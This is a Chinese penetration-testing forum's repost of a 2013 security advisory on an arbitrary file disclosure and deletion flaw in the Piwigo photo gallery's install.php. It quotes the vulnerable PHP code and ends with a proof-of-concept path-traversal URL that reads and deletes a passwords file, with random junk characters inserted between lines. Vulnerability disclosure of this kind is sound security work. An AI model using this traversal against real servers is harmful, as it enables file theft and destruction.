中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
: S3 N+ ^3 a9 x1 R
" I4 b$ _: s4 d5 i8 w
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
/ d) ~. K: e, Q* i/ N& W
====================================================================
5 k( n* G/ z( ~7 a4 F, K7 F( k
/install.php:
5 K0 l3 W i7 _+ R4 U4 }* X
-------------
2 R3 V5 r9 }4 l0 o
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
4 p/ d& A1 ?. F) J: r- W+ }; e5 c
114: {
/ l& J* u$ a3 o7 c$ }' {
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' d! s# b0 \) E p3 x7 T
116: header('Cache-Control: no-cache, must-revalidate');
: G4 C) H: }8 h1 H7 [
117: header('Pragma: no-cache');
( m8 W6 ~9 n6 G) Y; Q. L- e, J
118: header('Content-Disposition: attachment; filename="database.inc.php"');
6 X" Z0 @+ r+ _' j( j( B
119: header('Content-Transfer-Encoding: binary');
$ w2 S2 n) b) Y4 ~9 g2 E8 N9 |
120: header('Content-Length: '.filesize($filename));
0 ^. f! |% X# w; f) N
121: echo file_get_contents($filename);
5 Y! u) y/ o, c5 y/ f
122: unlink($filename);
% @" D! H: z" R1 r2 n3 I+ J9 S3 |5 Q
123: exit();
8 b% z% z5 S* w# w) {( M
124: }
- k: e9 I! o) A: G5 h7 G) q
====================================================================
& A+ s' c# F* Z# ~1 N
E( |; A' ^+ e" ]
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
- w7 ^; c X( g& T
Apache 2.4.2 (Win32)
4 Y4 `0 f9 \- L6 v
PHP 5.4.4
4 ^2 }- Z0 G) Z9 N; D0 v; F
MySQL 5.5.25a
3 U8 r' {: B1 B2 A
. T+ L+ Z q) n' o
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
" ]7 w1 B# ~9 _0 c. O
@zeroscience
- d& g+ F/ v5 s& T2 f: y
* k. `5 `8 g* W: k* B7 H) @0 u
Advisory ID: ZSL-2013-5127
1 Z5 E7 E# w- i" S
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
2 E9 Y, q7 c! T0 `
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
; a0 ~; u, j# Z! j0 |
8 O$ V+ d: }8 G% C$ \1 I: h* J
15.02.2013
4 C: ]+ C1 z3 t: F
2 ^0 d5 a# o0 v; s- h- q1 a
--
! T9 h5 T" J: j! M3 Q k- j# i
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
! [% a. Q& r) E X- n1 r+ b& Y' y
z' X0 A- a" F. R$ t
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2